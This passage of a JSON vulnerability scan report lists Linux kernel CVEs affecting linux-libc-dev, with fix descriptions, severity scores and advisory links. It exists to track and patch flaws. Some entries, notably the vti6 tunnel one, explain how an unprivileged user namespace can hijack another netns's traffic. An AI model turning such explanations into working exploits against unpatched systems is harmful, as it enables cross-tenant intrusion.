t-\u003enet.\n\nSIOCCHGTUNNEL on a migrated tunnel then runs:\n\n net = dev_net(dev) /* migrated netns */\n t = vti6_locate(net, \u0026p1, false) /* misses target in t-\u003enet */\n ...\n t = netdev_priv(dev)\n vti6_update(t, \u0026p1, false) /* mutates t-\u003enet's hash */\n\nA caller in the migrated netns picks params that match a tunnel\nin the creation netns. The lookup in dev_net(dev) finds nothing.\nvti6_update() prepends the migrated tunnel at the head of the\ncreation netns hash bucket for those params. Later lookups in\nthe creation netns resolve to the migrated device. xfrm receive\ndelivers the matched packets through a device the caller controls.\n\nReachable from an unprivileged user namespace (unshare --user\n--map-root-user --net). Cross tenant scope on container hosts.\n\nSwitch the SIOCCHGTUNNEL path on a non fallback device to use\nt-\u003enet for the lookup. The lookup now matches the netns\nvti6_update() operates on.\n\nAlso add ns_capable(self-\u003enet-\u003euser_ns, CAP_NET_ADMIN) before\nthe lookup. The check at the top of the case is against\ndev_net(dev)-\u003euser_ns, which after migration is the attacker's\nnetns. A caller there can pick params absent from self-\u003enet,\nthe lookup returns NULL, t becomes self, and vti6_update()\ninserts the device into the creation netns hash. The new check\nrequires CAP_NET_ADMIN in the creation netns user_ns too.\n\nSIOCADDTUNNEL and SIOCCHGTUNNEL on the fallback device keep\ndev_net(dev), which equals init_net there.", "Severity": "HIGH", "CweIDs": [ "CWE-862" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:68570", "https://access.redhat.com/security/cve/CVE-2026-63921", "https://bugzilla.redhat.com/2439924", "https://bugzilla.redhat.com/2461462", "https://bugzilla.redhat.com/2482098", "https://bugzilla.redhat.com/2482127", "https://bugzilla.redhat.com/2482550", "https://bugzilla.redhat.com/2482618", "https://bugzilla.redhat.com/2492436", "https://bugzilla.redhat.com/2492741", "https://bugzilla.redhat.com/2492742", "https://bugzilla.redhat.com/2492750", "https://bugzilla.redhat.com/2492779", "https://bugzilla.redhat.com/2492792", "https://bugzilla.redhat.com/2502295", "https://bugzilla.redhat.com/2502347", "https://bugzilla.redhat.com/2502368", "https://bugzilla.redhat.com/2502412", "https://bugzilla.redhat.com/2502434", "https://bugzilla.redhat.com/2502438", "https://bugzilla.redhat.com/2502575", "https://bugzilla.redhat.com/2502580", "https://bugzilla.redhat.com/2502596", "https://bugzilla.redhat.com/2511448", "https://bugzilla.redhat.com/2513165", "https://bugzilla.redhat.com/2513171", "https://bugzilla.redhat.com/2513271", "https://bugzilla.redhat.com/2513286", "https://bugzilla.redhat.com/2513477", "https://bugzilla.redhat.com/2516490", "https://bugzilla.redhat.com/2516599", "https://bugzilla.redhat.com/2516679", "https://bugzilla.redhat.com/2516684", "https://bugzilla.redhat.com/show_bug.cgi?id=2439924", "https://bugzilla.redhat.com/show_bug.cgi?id=2461462", "https://bugzilla.redhat.com/show_bug.cgi?id=2482098", "https://bugzilla.redhat.com/show_bug.cgi?id=2482127", "https://bugzilla.redhat.com/show_bug.cgi?id=2482550", "https://bugzilla.redhat.com/show_bug.cgi?id=2482618", "https://bugzilla.redhat.com/show_bug.cgi?id=2492436", "https://bugzilla.redhat.com/show_bug.cgi?id=2492741", "https://bugzilla.redhat.com/show_bug.cgi?id=2492742", "https://bugzilla.redhat.com/show_bug.cgi?id=2492750", "https://bugzilla.redhat.com/show_bug.cgi?id=2492779", "https://bugzilla.redhat.com/show_bug.cgi?id=2492792", "https://bugzilla.redhat.com/show_bug.cgi?id=2502295", "https://bugzilla.redhat.com/show_bug.cgi?id=2502347", "https://bugzilla.redhat.com/show_bug.cgi?id=2502368", "https://bugzilla.redhat.com/show_bug.cgi?id=2502412", "https://bugzilla.redhat.com/show_bug.cgi?id=2502434", "https://bugzilla.redhat.com/show_bug.cgi?id=2502438", "https://bugzilla.redhat.com/show_bug.cgi?id=2502575", "https://bugzilla.redhat.com/show_bug.cgi?id=2502580", "https://bugzilla.redhat.com/show_bug.cgi?id=2502596", "https://bugzilla.redhat.com/show_bug.cgi?id=2511448", "https://bugzilla.redhat.com/show_bug.cgi?id=2513165", "https://bugzilla.redhat.com/show_bug.cgi?id=2513171", "https://bugzilla.redhat.com/show_bug.cgi?id=2513271", "https://bugzilla.redhat.com/show_bug.cgi?id=2513286", "https://bugzilla.redhat.com/show_bug.cgi?id=2513477", "https://bugzilla.redhat.com/show_bug.cgi?id=2516490", "https://bugzilla.redhat.com/show_bug.cgi?id=2516599", "https://bugzilla.redhat.com/show_bug.cgi?id=2516679", "https://bugzilla.redhat.com/show_bug.cgi?id=2516684", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23172", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45910", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46043", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53192", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53193", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53196", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63869", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63913", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63919", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64029", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64175", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64176", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68159", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68200", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68363", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68426", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72243", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72298", "https://errata.almalinux.org/9/ALSA-2026-68570.html", "https://errata.rockylinux.org/RLSA-2026:68570", "https://git.kernel.org/linus/8b484efd5cb4eeef9021a661e198edc5349dacf6%20%287.1-rc6%29", "https://git.kernel.org/stable/c/1acfb7d9c6fc7e209ed7789392697e97e03edd33", "https://git.kernel.org/stable/c/44d2ff7d2178503b93151140a45dfa2ad49c9906", "https://git.kernel.org/stable/c/596f6354c96a891e58c04a09cbfb7b0d1ec00dab", "https://git.kernel.org/stable/c/853f6ea482dfcd3404bbef458ab4d68364eed838", "https://git.kernel.org/stable/c/8b484efd5cb4eeef9021a661e198edc5349dacf6", "https://git.kernel.org/stable/c/94ff740a7f9ef5c010784a325dca00cbf228f941", "https://git.kernel.org/stable/c/d2236348414bdd6558385f35aa7fdc9bf5634011", "https://git.kernel.org/stable/c/df42ac708acc3399bbb6dc5ca16e0540adda7bbf", "https://linux.oracle.com/cve/CVE-2026-63921.html", "https://linux.oracle.com/errata/ELSA-2026-68570.html", "https://lore.kernel.org/linux-cve-announce/2026071948-CVE-2026-63921-ea11@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63921", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-63921" ], "PublishedDate": "2026-07-19T16:17:10.3Z", "LastModifiedDate": "2026-10-27T12:54:08.507Z" }, { "VulnerabilityID": "CVE-2026-63922", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63922", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ed45cfd774ef552d89280a66aa312d95067cab11ccd37c31c2fb24b86b81859a", "Title": "kernel: ipv6: exthdrs: refresh nh after handling HAO option", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: exthdrs: refresh nh after handling HAO option\n\nip6_parse_tlv() caches skb_network_header(skb) in nh while walking\nIPv6 TLVs.\n\nipv6_dest_hao() may call pskb_expand_head() for a cloned skb, which can\nmove the skb head and invalidate the cached network header pointer.\nRefresh nh after ipv6_dest_hao() returns so any trailing padding or TLVs\nare parsed from the current skb head.\n\nThis matches the existing pattern used in ip6_parse_tlv() after helpers\nthat can modify skb header storage.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93437", "https://access.redhat.com/security/cve/CVE-2026-63922", "https://bugzilla.redhat.com/2502326", "https://bugzilla.redhat.com/2502327", "https://bugzilla.redhat.com/2502615", "https://bugzilla.redhat.com/2516579", "https://bugzilla.redhat.com/2516935", "https://bugzilla.redhat.com/2540555", "https://bugzilla.redhat.com/2559835", "https://errata.almalinux.org/8/ALSA-2026-93437.html", "https://git.kernel.org/linus/f7b52afe3592eae66e160586b45a3f2242972c63%20%287.1-rc6%29", "https://git.kernel.org/stable/c/12d957979e4a800167842f1b42be6a606d227ebe", "https://git.kernel.org/stable/c/1a11eb7431e3d2882f5bd5939c5a9bbc65ccf4d1", "https://git.kernel.org/stable/c/751db1b802a067b7fff25880f4e9f9152a171538", "https://git.kernel.org/stable/c/9b6dcc0a39fd71752937f0b6b3973e1416085dcf", "https://git.kernel.org/stable/c/b3ac54e5c905f86d22b502eacb5686a282c5659f", "https://git.kernel.org/stable/c/f7b52afe3592eae66e160586b45a3f2242972c63", "https://git.kernel.org/stable/c/f8aabed3ff3e986920cf02a2a2785e08e586b234", "https://git.kernel.org/stable/c/ff375ed1cba81392346c5bfbf0bb7a13b2946f99", "https://linux.oracle.com/cve/CVE-2026-63922.html", "https://linux.oracle.com/errata/ELSA-2026-93436.html", "https://lore.kernel.org/linux-cve-announce/2026071948-CVE-2026-63922-5716@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63922", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8817-1", "https://ubuntu.com/security/notices/USN-8817-2", "https://ubuntu.com/security/notices/USN-8817-3", "https://ubuntu.com/security/notices/USN-8818-1", "https://ubuntu.com/security/notices/USN-8818-2", "https://ubuntu.com/security/notices/USN-8818-3", "https://ubuntu.com/security/notices/USN-8818-4", "https://ubuntu.com/security/notices/USN-8818-5", "https://ubuntu.com/security/notices/USN-8818-6", "https://ubuntu.com/security/notices/USN-8842-1", "https://ubuntu.com/security/notices/USN-8849-1", "https://ubuntu.com/security/notices/USN-8871-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-63922" ], "PublishedDate": "2026-07-19T16:17:10.44Z", "LastModifiedDate": "2026-10-27T12:56:58.89Z" }, { "VulnerabilityID": "CVE-2026-63924", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63924", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:053ea4575f600b9ac75ca88fca1e546fe50f5d6ef5a9088e9ff9c645cd32514a", "Title": "kernel: ipv6: exthdrs: refresh nh pointer after ipv6_hop_jumbo()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: exthdrs: refresh nh pointer after ipv6_hop_jumbo()\n\nipv6_hop_jumbo() calls pskb_trim_rcsum(), which can change skb pointers.\nLet's recompute nh pointer to make sure any change won't mess things up.", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-822" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93437", "https://access.redhat.com/security/cve/CVE-2026-63924", "https://bugzilla.redhat.com/2502326", "https://bugzilla.redhat.com/2502327", "https://bugzilla.redhat.com/2502615", "https://bugzilla.redhat.com/2516579", "https://bugzilla.redhat.com/2516935", "https://bugzilla.redhat.com/2540555", "https://bugzilla.redhat.com/2559835", "https://errata.almalinux.org/8/ALSA-2026-93437.html", "https://git.kernel.org/linus/d47548a36639095939f4747d4c43f2271366f565%20%287.1-rc6%29", "https://git.kernel.org/stable/c/2b56bbd928c030894c270cd33d60286326919458", "https://git.kernel.org/stable/c/645b99b1a185c91a79bdac4c5de0f91b212d64f0", "https://git.kernel.org/stable/c/72af7beae774e46ed543f3f2f267bf0a141bfcdd", "https://git.kernel.org/stable/c/9e883eaa878f4337b5873c706efb5a192364ed18", "https://git.kernel.org/stable/c/b3ac54e5c905f86d22b502eacb5686a282c5659f", "https://git.kernel.org/stable/c/bddaa4dfc7f36e1ee343a0622f69288af2b9ace9", "https://git.kernel.org/stable/c/c512e1c819dfbf6ae95ee7a44b65b9ad98979157", "https://git.kernel.org/stable/c/d47548a36639095939f4747d4c43f2271366f565", "https://linux.oracle.com/cve/CVE-2026-63924.html", "https://linux.oracle.com/errata/ELSA-2026-93436.html", "https://lore.kernel.org/linux-cve-announce/2026071948-CVE-2026-63924-ec60@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63924", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8817-1", "https://ubuntu.com/security/notices/USN-8817-2", "https://ubuntu.com/security/notices/USN-8817-3", "https://ubuntu.com/security/notices/USN-8818-1", "https://ubuntu.com/security/notices/USN-8818-2", "https://ubuntu.com/security/notices/USN-8818-3", "https://ubuntu.com/security/notices/USN-8818-4", "https://ubuntu.com/security/notices/USN-8818-5", "https://ubuntu.com/security/notices/USN-8818-6", "https://ubuntu.com/security/notices/USN-8842-1", "https://ubuntu.com/security/notices/USN-8849-1", "https://ubuntu.com/security/notices/USN-8871-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-63924" ], "PublishedDate": "2026-07-19T16:17:10.667Z", "LastModifiedDate": "2026-10-22T15:20:12.383Z" }, { "VulnerabilityID": "CVE-2026-63928", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63928", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:da60010049e822f787c5b3b8cb8a41ed72c0774b5737401a70a081ae729bfec0", "Title": "kernel: USB: serial: omninet: fix memory corruption with small endpoint", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: serial: omninet: fix memory corruption with small endpoint\n\nMake sure that the bulk-out buffers are at least as large as the\nhardcoded transfer size to avoid user-controlled slab corruption should\na malicious device report a smaller endpoint max packet size than\nexpected.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63928", "https://git.kernel.org/linus/60df93d30f9bdd27db17c4d80ed80ef718d7226b%20%287.1-rc6%29", "https://git.kernel.org/stable/c/0bda1893e4cc4ad2b7dcdbaca246f2af688c6c2a", "https://git.kernel.org/stable/c/0fee0ccac29e088d4bfab7e2d075725dcecd803d", "https://git.kernel.org/stable/c/180996f0ca774001944e4afa452d569ba2f6455c", "https://git.kernel.org/stable/c/4e7d32189d6219beb7db37cd0ea36b6bac7dfedb", "https://git.kernel.org/stable/c/60df93d30f9bdd27db17c4d80ed80ef718d7226b", "https://git.kernel.org/stable/c/9a3860454bdfb765f936965e975c594352602ffc", "https://git.kernel.org/stable/c/b496e25ead5976bce2891dacaed09beb53a54f9f", "https://git.kernel.org/stable/c/f34cf2928387fba01a78381f3258c7e1428897d9", "https://linux.oracle.com/cve/CVE-2026-63928.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071949-CVE-2026-63928-7715@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63928", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63928" ], "PublishedDate": "2026-07-19T16:17:11.163Z", "LastModifiedDate": "2026-10-30T14:29:10.89Z" }, { "VulnerabilityID": "CVE-2026-63934", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63934", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:52b2a6621daf79c637684c235721480028d176fc80cfb945d4150ecac59cf373", "Title": "kernel: iio: gyro: itg3200: fix i2c read into the wrong stack location", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\niio: gyro: itg3200: fix i2c read into the wrong stack location\n\nitg3200_read_all_channels() takes `__be16 *buf' as a parameter and\nfills the i2c_msg destination as `(char *)\u0026buf'. Since `buf' is the\nparameter (a pointer), `\u0026buf' is the address of the local pointer\nslot on the stack of itg3200_read_all_channels(), not the address\nof the caller's scan buffer. The (char *) cast hides the type\nmismatch.\n\ni2c_transfer() therefore writes ITG3200_SCAN_ELEMENTS * sizeof(s16)\n= 8 bytes into the parameter's stack slot, which is discarded when\nthe function returns. The caller's scan buffer in\nitg3200_trigger_handler() is never written to, so\niio_push_to_buffers_with_timestamp() pushes uninitialised stack\ncontents to userspace via /dev/iio:deviceX every scan -- both a\nfunctional bug (no actual gyroscope or temperature data is\ndelivered through the triggered buffer) and an information leak.\n\nThe non-buffered read_raw() path is unaffected: it goes through\nitg3200_read_reg_s16() which uses `\u0026out' on a local s16 value,\nwhere that is correct.\n\nDrop the spurious `\u0026' so the i2c read writes into the caller's\nbuffer.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63934", "https://git.kernel.org/linus/6bdc3023d62ed5c7d591f0eb27a5adb37fb892ae%20%287.1-rc6%29", "https://git.kernel.org/stable/c/15a0b3f33ffb6c78b3de6f69b026ceb09b973dd1", "https://git.kernel.org/stable/c/31bbd4b87dd6701fa10e03ba7f6268e49e178d16", "https://git.kernel.org/stable/c/63203bd072b613c18c237b906b1c9d2dc4527337", "https://git.kernel.org/stable/c/6bdc3023d62ed5c7d591f0eb27a5adb37fb892ae", "https://git.kernel.org/stable/c/8654b5e2617819ff4f7c78071dfd0275e971a9b6", "https://git.kernel.org/stable/c/90e809376b0f0d1ddec2eec954aecdd2a5b40b0e", "https://git.kernel.org/stable/c/b64dd5f3b38911054cbcc570df617e3e8e75e562", "https://git.kernel.org/stable/c/cfc3283859cfdeacadf80d5e6880bdf871ffeaa6", "https://lore.kernel.org/linux-cve-announce/2026071951-CVE-2026-63934-5d74@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63934", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63934" ], "PublishedDate": "2026-07-19T16:17:11.857Z", "LastModifiedDate": "2026-10-30T14:28:27.423Z" }, { "VulnerabilityID": "CVE-2026-63939", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63939", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fc3324e7410d7624079e0cd7f5860ca7b6fd00d35c3f74f5caea116a9ac48f5c", "Title": "kernel: KVM: SEV: Compute the correct max length of the in-GHCB scratch area", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: SEV: Compute the correct max length of the in-GHCB scratch area\n\nWhen setting the length of the GHCB scratch area, and the area is in the\nGHCB shared buffer, set the effective length of the scratch area to the max\npossible size given the start of the guest-provided pointer, and the end of\nthe shared buffer.\n\nThe code was \"fine\" when first introduced, as KVM doesn't consult the\nlength of the buffer when emulating MMIO, because the passed in @len always\nspecifies the *max* size required. But for PSC requests, the incoming @len\nis just the minimum length (to process the header), and KVM needs to know\nthe full size of the scratch area to avoid buffer overflows (spoiler alert).\n\nOpportunistically rename @len =\u003e @min_len to better reflect its role.", "Severity": "HIGH", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63939", "https://git.kernel.org/linus/5867d7e202e09f037cefe77f7af4413c7c0fa088%20%287.1-rc6%29", "https://git.kernel.org/stable/c/5867d7e202e09f037cefe77f7af4413c7c0fa088", "https://git.kernel.org/stable/c/6644565527c4c5f507088b1c9ddf72de47790b68", "https://git.kernel.org/stable/c/6ca9400d36005ffdca25f80186bea781c7e1dc4c", "https://git.kernel.org/stable/c/9f0a9e780f02c02d025a190f1885e1d1d73b87bd", "https://linux.oracle.com/cve/CVE-2026-63939.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071952-CVE-2026-63939-8061@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63939", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-63939" ], "PublishedDate": "2026-07-19T16:17:12.433Z", "LastModifiedDate": 